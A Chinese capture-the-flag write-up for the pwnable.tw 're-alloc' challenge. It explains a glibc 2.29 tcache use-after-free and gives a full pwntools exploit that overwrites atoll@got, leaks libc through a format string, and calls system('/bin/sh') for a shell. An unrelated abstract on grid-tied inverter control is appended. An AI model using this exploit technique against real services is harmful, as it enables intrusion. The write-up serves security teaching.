pwnabletw re-alloc

本文详述了一种针对GNU libc 2.29版本的内存安全漏洞利用方法,涉及tcache、UAF和off-by-null攻击。通过巧妙地操纵tcache链表实现内存控制,最终实现了代码执行。关键点包括利用UAF改变tcache结构,规避doublefree检查和多次内存分配操作。

给了一个libc,可以用strings libc.so | grep "GNU"查看版本:

$ strings libc.so| grep "GNU"
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Compiled by GNU CC version 8.3.0.

2.29的堆题,注意有tcache

分析题目,没有开PIEFORTIFY好像在这里没什么影响。题是菜单选择题,allocate,free,reallocate。给定了bss段上面的两个位置可以存chunk,输入sizeindex时,使用的是atoll返回。

free过后清零, 但是realloc函数在size0时同样执行free操作,而reallocate函数中并没有检查size的下界,
tcachelibc2.29新增了一个key,防止double free。(libc2.29具体新增的保护机制措施见:libc2.29
因此只有一个UAF。输入的时候还有一个off-by-null,这里没用。

具体的利用思路是通过UAFtcache的某个next改为atoll@got,然后分配到这个位置修改got表为printf,打印libc地址,然后再修改为system的地址即可。

有几个值得注意的点:

  • 在从tcache中取堆块的时候,会检查对应链表的计数,所以要保证在分配到atoll@got时,该条链表中有足够的count
  • 保证正在使用的chunk是和top chunk相邻的,这样才能成功地在原地址上进行拓宽,放到和nextatoll@got所在的链表不同的tcache链表上去。
  • 第二次更改atoll@got的时候,不能直接使用reallocate函数,因为此时的所谓chunk上已经没有了正常的size信息,所以会有一个invalid pointer的错误(原因是我猜的嘿嘿),因此需要将两个tcache的链表的next都更改为atoll@got,以便allocate第二次利用。
  • 好神奇,不同的tcache链表之间不会检查double free,就是说chunk A可以同时放到链表1和链表2上。这样就可以成功清空bss上存chunk的地方,而不同担心double free

具体看exp注释:

from pwn import *
from time import sleep
import os
import sys

elfPath = './re-alloc'
libcPath = './libc.so'
remoteAddr = 'chall.pwnable.tw'
remotePort = '10106'

context.log_level = 'debug'
context.binary = elfPath
context.terminal = ['tmux', 'splitw', '-h']

elf = context.binary
if sys.argv[1] == 'l':
    sh = process(elfPath)
    libc = elf.libc 
else:
    if sys.argv[1] == 'd':
        sh = process(elfPath, env = {'LD_PRELOAD': libcPath})
    else:
        sh = remote(remoteAddr,remotePort)
        # context.log_level = 'info'
    if libcPath:
        libc = ELF(libcPath)

def allocate(idx,sz, data):
    sh.sendlineafter("choice:","1")
    sh.sendlineafter("Index:",str(idx))
    sh.sendlineafter("Size:",str(sz))
    sh.sendlineafter("Data:",data)

def rfree(idx):
    sh.sendlineafter("choice:","3")
    sh.sendlineafter("Index:",str(idx))

def realloc(idx,sz,data):
    sh.sendlineafter("choice:","2")
    if idx != 0 and idx != 1:
        sh.sendlineafter("Index:",idx)
        return
    sh.sendlineafter("Index:",str(idx))
    sh.sendlineafter("Size:",str(sz))
    if sz != 0:
        sh.sendlineafter("Data:",data)

if __name__ == '__main__':
    atoi_got = elf.got['atoll']
    printf_plt = elf.plt['printf']

    allocate(0,0x20,"AAAA")
    rfree(0)
    allocate(0,0x10,"AAAA") # chunk 0
    allocate(1,0x10,'BBBB') # chunk 1 (next to top chunk)
    rfree(0) # now chunk 0 in tcache (this use to pass tcache count check)
    realloc(1,0,"") #free chunk 1
    realloc(1,0x10,p64(atoi_got)) # uaf chunk 1
    allocate(0,0x10,"AAAA") # malloc chunk 1
    realloc(0,0x20,"AAAA") # extend chunk 1
    rfree(0) # now chunk 1 in tcache_0x30's list
    realloc(1,0x20,p64(atoi_got)) # again uaf
    allocate(0,0x20,"AAAA")# when we allocate 0x20, we will change the atoll@got too.
    realloc(0,0x30,"AAAA")
    rfree(0)
    realloc(1,0x40,"AAAA")# if we extend again , will not trigger the double free check
    rfree(1)
    allocate(0,0x10,p64(printf_plt)) # now heap[0] point to atoll@got and change the got to printf@plt

    payload="%15$llx" # copy from internet... ... = =
    realloc(payload,0,0)
    stdout_addr = u64(sh.recv(8)[2:8].ljust(8,b'\x00'))
    libc_base = stdout_addr - libc.sym["_IO_2_1_stdout_"]
    sys_addr = libc_base + libc.sym["system"]
    success("sys:" + hex(sys_addr))
    sh.sendline("1")
    sh.sendafter("Index:","1")
    sh.sendafter("Size:","%32c")# get from tcache_0x30's list
    sh.sendlineafter("Data:",p64(sys_addr))
    
    payload="/bin/sh\x00"
    realloc(payload,0,0)

    sh.interactive()
    sh.close()

内容概要:本文针对传统三电平并网逆变器在谐波抑制、电网不平衡适应性及动态响应方面的不足,提出一种基于有源中点箝位(ANPC)三电平拓扑的高性能并网控制策略。该策略深度融合双极性倍频脉宽调制(DPWMA)、正负序分离锁相技术与电网电压前馈控制,构建了“精准同步—扰动补偿—优质调制”三位一体的一体化控制体系。依托ANPC拓扑在开关损耗均衡、中点电位稳定和低谐波输出方面的硬件优势,结合DPWMA调制提升等效开关频率、正负序分离实现不平衡电网下的精确锁相、前馈控制克服闭环滞后等先进控制手段,显著改善了系统的稳态电能质量、动态响应速度与复杂工况适应能力。通过多工况仿真验证,该复合策略在稳态运行时可大幅降低总谐波畸变率,在电网不平衡与动态扰动工况下仍能维持并网电流对称、功率平稳及快速恢复能力,展现出优异的综合性能与工程应用潜力。; 适合人群:具备电力电子与电力系统基础知识,从事新能源并网、逆变器控制、微电网或相关领域研究的研发人员及研究生。; 使用场景及目标:① 提升高功率并网逆变器的电能质量与运行稳定性;② 解决电网电压不平衡、畸变等复杂工况下的并网难题;③ 优化动态响应性能,提升系统抗扰能力;④ 为ANPC拓扑与先进控制策略的工程化应用提供技术参考。; 阅读建议:建议结合仿真模型深入理解DPWMA调制、正负序分离锁相与前馈控制的实现细节,重点关注多工况下的性能对比分析,以掌握复合控制策略的设计逻辑与优化效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值